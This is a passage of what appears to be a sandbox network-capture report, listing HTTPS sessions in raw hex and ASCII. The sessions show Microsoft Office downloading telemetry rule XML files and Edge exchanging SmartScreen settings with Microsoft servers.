2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-27 16:58:54 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-27 16:58:54 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-11-27 16:58:54 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:52 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165852Z-174f78459684bddphC1EWRbht40000000wxg00000000g0rx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165852Z-174f7845968ljs8phC1EWRe6en0000000x1000000000gm7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49864	104.40.82.182	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoia3UxZ2ZHanpQS01SQmxtakRCMEUyQT09IiwgImhhc2giOiJEM3BiaFNmODVPdz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-27 16:58:52 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-27 16:58:53 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:53 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-27 16:58:53 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-27 16:58:53 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-27 16:58:53 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:52 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
